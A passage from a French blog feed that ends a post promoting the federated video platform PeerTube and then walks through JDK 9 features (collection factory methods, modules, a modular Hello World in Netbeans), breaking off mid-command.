&lt;p&gt;Ça c&amp;rsquo;est génial. Si Alice dépose une vidéo sur le site &lt;code&gt;peertube.xyz&lt;/code&gt; où elle s&amp;rsquo;est créé un compte, Bob peut la trouver sur le site &lt;code&gt;share.tube&lt;/code&gt; où il n&amp;rsquo;est même pas obligé d&amp;rsquo;avoir un compte. Et la vidéo est toujours sur le site d&amp;rsquo;origine, elle est simplement référençée sur tous les autres sites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;chaque instance peut choisir ses propres règles;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;un peu technique, le protocole utilisé (transfert pair-à-pair) supporte la charge sans besoin de gros moyens;&lt;/p&gt;
&lt;p&gt;Si ta vidéo devient virale, tout ceux qui la regarde la partage aussi un peu et tu n&amp;rsquo;as pas besoin d&amp;rsquo;un gros serveur.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une intégration avec Mastodon (&lt;a href="https://framatube.org/videos/watch/da2b08d4-a242-4170-b32a-4ec8cbdca701"&gt;voir la vidéo&lt;/a&gt;);&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Peertube&lt;/em&gt; c&amp;rsquo;est bon, mangez en, informez vous et posez vos questions. Si vous êtes une association, une école, un société posez vous la question de &lt;em&gt;monter votre propre instance&lt;/em&gt;. Pour aller plus loin parce que j&amp;rsquo;ai été très bref, il suffit de lire un peu le &lt;em&gt;framablog&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://framablog.org/2018/03/21/peertube-beta-une-graine-dalternative-a-youtube-vient-declore/"&gt;« Peertube beta: une graine d&amp;rsquo;alternative à Youtube vient d&amp;rsquo;éclore » sur le blog de Framasoft&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://framablog.org/2018/03/22/peertube-ya-deja-plein-de-videos/"&gt;« Premières instance et liens utiles » sur le blog de Framasoft&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://joinpeertube.org/fr/"&gt;Join peertube&lt;/a&gt; (pour démarrer, un lien à partager)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://instances.peertu.be/instances"&gt;Liste des intances Peertube&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Chocobozzz/PeerTube"&gt;Le dépôt github de Peertube par Chocobozzz&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="https://www.pexels.com/photo/3-pear-fruits-175767/"&gt;Pexels par Clem&lt;/a&gt;. Quelques poires, différentes, imparfaites mais c&amp;rsquo;est bon.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>JDK9, les nouveautés</title><link href="http://blog.namok.be/2018-03-22-JDK9.html" rel="alternate"/><published>2018-03-22T00:00:00+01:00</published><updated>2018-03-22T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2018-03-22:/2018-03-22-JDK9.html</id><summary type="html">JDK9, les nouveautés</summary><content type="html">&lt;p&gt;&lt;img alt="unzipped_egg_by_pixelduster_cut.jpg" src="/images/unzipped_egg_by_pixelduster_cut.jpg" title="unzipped_egg_by_pixelduster_cut.jpg, mar. 2018"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="#installation"&gt;Préalables pratiques&lt;/a&gt;&lt;br&gt;
&lt;a href="#of"&gt;List, Set, Map of&lt;/a&gt;&lt;br&gt;
&lt;a href="#modules"&gt;Les modules, &lt;em&gt;Java Platform Module System (JPMS)&lt;/em&gt; ou encore &lt;em&gt;Jigsaw&lt;/em&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="#processus"&gt;Gestion des processus systèmes&lt;/a&gt;&lt;br&gt;
&lt;a href="#jshell"&gt;Jshell&lt;/a&gt;&lt;br&gt;
&lt;a href="#stream"&gt;Nouvelles méthodes pour la classe Stream&lt;/a&gt;&lt;br&gt;
&lt;a href="#javadoc"&gt;Javadoc&lt;/a&gt;&lt;br&gt;
&lt;a href="#underscore"&gt;_ underscore est un mot clé&lt;/a&gt;&lt;br&gt;
&lt;a href="#optional"&gt;La classe &lt;em&gt;Optional&lt;/em&gt; se dote de nouvelles méthodes&lt;/a&gt;&lt;br&gt;
&lt;a href="#version"&gt;Numérotation des versions&lt;/a&gt;&lt;br&gt;
&lt;a href="#sha"&gt;Algorithmes de hashages supplémentaires&lt;/a&gt;&lt;br&gt;
&lt;a href="#string"&gt;Réduction de l&amp;rsquo;espace de stockage des chaines&lt;/a&gt;&lt;br&gt;
&lt;a href="#unicode"&gt;Support d&amp;rsquo;unicode 8.0&lt;/a&gt;&lt;br&gt;
&lt;a href="#http2"&gt;http2&lt;/a&gt;&lt;br&gt;
&lt;a href="#inputstream"&gt;La classe &lt;em&gt;InputStream&lt;/em&gt; se dote également de nouvelles méthodes&lt;/a&gt;&lt;br&gt;
&lt;a href="#flow"&gt;La classe &lt;code&gt;Flow&lt;/code&gt;, le producteur et le consommateur&lt;/a&gt;&lt;br&gt;
&lt;a href="#more"&gt;Quelques points non détaillés&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Alors que &lt;em&gt;JDK 10&lt;/em&gt; est sorti le 20 mars, je vous parle de &lt;em&gt;JDK 9&lt;/em&gt;. Chaque chose en son temps…&lt;/p&gt;
&lt;h2 id="installation"&gt;Préalables pratiques&lt;/h2&gt;
&lt;p&gt;Pour tester JDK9, j&amp;rsquo;utilise &lt;strong&gt;Netbeans&lt;/strong&gt;. Netbeans 8.1 et Netbeans 8.2 ne permettent pas d&amp;rsquo;utiliser JDK9. Il est nécessaire d&amp;rsquo;installer une version de développement &lt;a href="http://wiki.netbeans.org/JDK9Support"&gt;comme indiqué dans le wiki&lt;/a&gt; et &lt;a href="https://stackoverflow.com/questions/42734944/netbeans-8-2-with-jdk9-build160"&gt;sur Stackoverflow&lt;/a&gt; pour celles et ceux qui préfèrent.&lt;/p&gt;
&lt;p&gt;Il est nécessaire d&amp;rsquo;installer un JDK9. Sans blague. J&amp;rsquo;installe &lt;em&gt;jdk-9.0.4&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Dans la suite, je supposerai que mon installation se trouve dans &lt;strong&gt;&lt;code&gt;/usr/lib/jvm/jdk9&lt;/code&gt;&lt;/strong&gt;. Je regarde l&amp;rsquo;arborescence — via la commande &lt;code&gt;tree&lt;/code&gt; — qui a l&amp;rsquo;allure suivante :&lt;/p&gt;
&lt;p&gt;&lt;img alt="jdk9-1.png" src="/images/jdk9-1.png" title="jdk9-1.png"&gt;&lt;/p&gt;
&lt;p&gt;On constate d&amp;rsquo;emblée que l&amp;rsquo;organisation des fichiers a changé… ce qui est le corollaire immédiat de la notion de modules — voir ci-dessous — introduite dans le JDK.&lt;/p&gt;
&lt;p&gt;Je repère aussi le fichier &lt;code&gt;src.zip&lt;/code&gt; que je décompresse aussitôt et que je conserve au chaud pour plus tard. Son organisation est semblable à l&amp;rsquo;organisation en module du répertoire &lt;em&gt;jmods&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;J&amp;rsquo;essaierai de citer les JEP, _JDK Enhancement Proposals&lt;/em&gt; en rapport avec les différents points._&lt;/p&gt;
&lt;p&gt;Dans certains exemples, je suppose l&amp;rsquo;existence d&amp;rsquo;une classe &lt;code&gt;Video&lt;/code&gt; représentant une vidéo. Une vidéo a un auteur, un titre, un nombre de &lt;em&gt;likes&lt;/em&gt; et un état publiée ou pas. Je suppose également, l&amp;rsquo;existence d&amp;rsquo;une &lt;em&gt;factory&lt;/em&gt; associées: &lt;code&gt;Videos&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="of"&gt;List, Set, Map of&lt;/h2&gt;
&lt;p&gt;Les interfaces &lt;code&gt;List&lt;/code&gt;, &lt;code&gt;Set&lt;/code&gt; et &lt;code&gt;Map&lt;/code&gt; reçoivent des méthodes &lt;code&gt;of&lt;/code&gt; (&lt;a href="http://openjdk.java.net/jeps/269"&gt;JEP269&lt;/a&gt;). Ces méthodes retournent une &lt;code&gt;List&lt;/code&gt;, un &lt;code&gt;Set&lt;/code&gt; ou une &lt;code&gt;Map&lt;/code&gt; &lt;strong&gt;immuables&lt;/strong&gt; contenant les objets passés en paramètres. Elles sont bien sûr génériques (&lt;em&gt;generics&lt;/em&gt;). Je peux par exemple écrire pour un &lt;code&gt;Set&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vicky&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Jenny&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Karine&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;alors que je devais écrire:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oldWay&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HashSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Arrays&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vicky&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Jenny&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Karine&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;oldWay&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Collections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;unmodifiableSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;oldWay&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour une liste que je voudrais modifiable, je peux écrire;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je ne résiste pas à la tentation de vérifier [^f1] que ces méthodes statiques ont bien été ajoutées dans l&amp;rsquo;interface &lt;code&gt;List&lt;/code&gt;. Un &lt;code&gt;find&lt;/code&gt; plus tard, je trouve le fichier source que je peux éditer.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;-name&lt;span class="w"&gt; &lt;/span&gt;List.java
./src/java.desktop/java/awt/List.java
./src/java.xml.bind/com/sun/xml/internal/bind/v2/schemagen/
&lt;span class="w"&gt;    &lt;/span&gt;xmlschema/List.java
./src/jdk.compiler/com/sun/tools/javac/util/List.java
./src/java.base/java/util/List.java
$&lt;span class="w"&gt; &lt;/span&gt;gvim&lt;span class="w"&gt; &lt;/span&gt;src/java.base/java/util/List.java
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Extraits:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;interface&lt;/span&gt; &lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Collection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt;…&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt;     * Returns an immutable list containing one element.&lt;/span&gt;
&lt;span class="cm"&gt;     *&lt;/span&gt;
&lt;span class="cm"&gt;     * See Immutable List Static Factory &lt;/span&gt;
&lt;span class="cm"&gt;     * Methods for details.&lt;/span&gt;
&lt;span class="cm"&gt;     *&lt;/span&gt;
&lt;span class="cm"&gt;     * @param  the {@code List}&amp;#39;s element type&lt;/span&gt;
&lt;span class="cm"&gt;     * @param e1 the single element&lt;/span&gt;
&lt;span class="cm"&gt;     * @return a {@code List} containing the specified element&lt;/span&gt;
&lt;span class="cm"&gt;     * @throws NullPointerException if the element is {@code null}&lt;/span&gt;
&lt;span class="cm"&gt;     *&lt;/span&gt;
&lt;span class="cm"&gt;     * @since 9&lt;/span&gt;
&lt;span class="cm"&gt;     */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ImmutableCollections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;List1&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="modules"&gt;Les modules, &lt;em&gt;Java Platform Module System (JPMS)&lt;/em&gt; ou encore &lt;em&gt;Jigsaw&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Comme on l&amp;rsquo;a vu, Java découpe son code en modules — &lt;em&gt;Jigsaw&lt;/em&gt; de petit nom — dépendants les uns des autres. Cette découpe en modules — outre qu&amp;rsquo;elle réorganise l&amp;rsquo;arborescence des sources — permet de structurer le JDK d&amp;rsquo;une part et d&amp;rsquo;autoriser uniquement le chargement des modules nécessaires d&amp;rsquo;autre part. Cette restructuration du &lt;em&gt;jdk&lt;/em&gt; et du &lt;em&gt;jre&lt;/em&gt; est sensée offrir de meilleures performances, plus de sécurité et une maintenance plus aisée.&lt;br&gt;
Elle est décrite en partie dans &lt;a href="http://openjdk.java.net/jeps/201"&gt;JEP201&lt;/a&gt;, &lt;a href="http://openjdk.java.net/jeps/261"&gt;JEP261&lt;/a&gt; et &lt;a href="http://openjdk.java.net/jeps/200"&gt;JEP200&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Les fichiers java — et particulièrement le &lt;em&gt;bytecode&lt;/em&gt; — sont réorganisées. Toutes les classes standards ne se trouvent plus dans &lt;code&gt;rt.jar&lt;/code&gt; et &lt;code&gt;tools.jar&lt;/code&gt;… qui ont disparus &lt;a href="http://openjdk.java.net/jeps/220"&gt;JEP220&lt;/a&gt;. Les classes se trouvent dans le répertoire &lt;em&gt;jmods&lt;/em&gt; contenant des fichiers au format &lt;em&gt;jmods&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Le code se trouvant dans les modules et dans les fichiers &lt;em&gt;jar&lt;/em&gt; traditionnels basés sur le &lt;em&gt;classpath&lt;/em&gt; peuvent coexister.&lt;/p&gt;
&lt;p&gt;Cette notion de modules introduit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;une sorte d&amp;rsquo;édition des liens — optionnelle — entre la phase de compilation et celle d&amp;rsquo;exécution. Cette phase assemble les modules qui seront utilisés à l&amp;rsquo;exécution grâce à &lt;a href="https://docs.oracle.com/javase/9/tools/jlink.htm#JSWOR-GUID-CECAC52B-CFEE-46CB-8166-F17A8E9280E9"&gt;jlink&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;la notion de fichier &lt;em&gt;jar&lt;/em&gt; modulaire qui est un fichier &lt;em&gt;jar&lt;/em&gt; contenant un fichier &lt;code&gt;module-info.class&lt;/code&gt; à la racine. Ce fichier définit (voir plus bas) l&amp;rsquo;organisation du module.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;le format &lt;em&gt;jmod&lt;/em&gt;, semblable au format &lt;em&gt;jar&lt;/em&gt;, mais pouvant inclure du code natif et des fichiers de configuration. Voir &lt;a href="https://docs.oracle.com/javase/9/tools/jmod.htm#JSWOR-GUID-0A0BDFF6-BE34-461B-86EF-AAC9A555E2AE"&gt;jmod&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour définir un module, il est nécessaire d&amp;rsquo;ajouter un fichier &lt;code&gt;module-info.java&lt;/code&gt; à la racine du projet contenant:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;module&lt;/span&gt; &lt;span class="nc"&gt;org&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;my&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;requires&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;need&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;my&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;module&lt;/strong&gt; définit le module, &lt;strong&gt;requires&lt;/strong&gt; précise quels sont les modules nécessaires et &lt;strong&gt;export&lt;/strong&gt; présente publiquement les &lt;em&gt;packages&lt;/em&gt; qui seront donc visibles.&lt;/p&gt;
&lt;p&gt;Voir par exemple &lt;code&gt;src/java.base/module-info.java&lt;/code&gt;&lt;a href="https://blog.namok.be/?post/2018/03/22/JDK9#fn:f2"&gt;2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;À &lt;code&gt;java&lt;/code&gt; et &lt;code&gt;javac&lt;/code&gt; s&amp;rsquo;ajoutent deux commandes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;jlink&lt;/code&gt; assemble des modules;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;jdeps&lt;/code&gt; informe sur les dépendances.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Exemple, &lt;em&gt;Hello, modular world&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img alt="jdk9-7-modular.png" src="https://blog.namok.be/public/images/divers/2018/jdk9/jdk9-7-modular.png" title="jdk9-7-modular.png"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai essayé d&amp;rsquo;utiliser Netbeans pour créer un module avec un &lt;em&gt;new Java Modular Project&lt;/em&gt;, mais ça n&amp;rsquo;a pas été concluant.&lt;/p&gt;
&lt;p&gt;Netbeans me crée bien un projet auquel je peux ajouter un module. Il me crée alors un fichier &lt;code&gt;module-info.java&lt;/code&gt; que je peux compléter. Je crée un &lt;em&gt;package&lt;/em&gt;, j&amp;rsquo;y place une classe et je clique sur &lt;em&gt;&amp;ldquo;Run project…&amp;rdquo;&lt;/em&gt;. Netbeans me demande de choisir une classe principale et tout roule… sauf si je veux lancer le projet en dehors de Netbeans. La commande qu&amp;rsquo;il me propose — et d&amp;rsquo;autres variantes — ne fonctionne pas.&lt;/p&gt;
&lt;p&gt;Reprenons depuis le début en créant un projet tout à fait standard cette fois.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Création d&amp;rsquo;un projet&lt;/li&gt;
&lt;li&gt;Ajout d&amp;rsquo;un &lt;em&gt;package&lt;/em&gt; contenant une classe &lt;code&gt;Hello&lt;/code&gt; et ce code:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;be.example.hello&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Hello&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Hello, modular world&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Clic &amp;ldquo;Run&amp;rdquo; et ajout de la classe comme classe principale.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ajout d&amp;rsquo;un fichier &lt;code&gt;module-info&lt;/code&gt; via Netbeans. Il le crée en choisissant le nom du module en fonction du nom du projet:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;module&lt;/span&gt; &lt;span class="nc"&gt;Jdk9Modular&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Ajout de la ligne&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;exports&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;clean and build&lt;/em&gt; et Netbeans me propose une commande à exécuter. Tout roule…&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;elsewhere&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;jdk9&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;modular&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dist&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;jdk9&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;modular&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;jar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
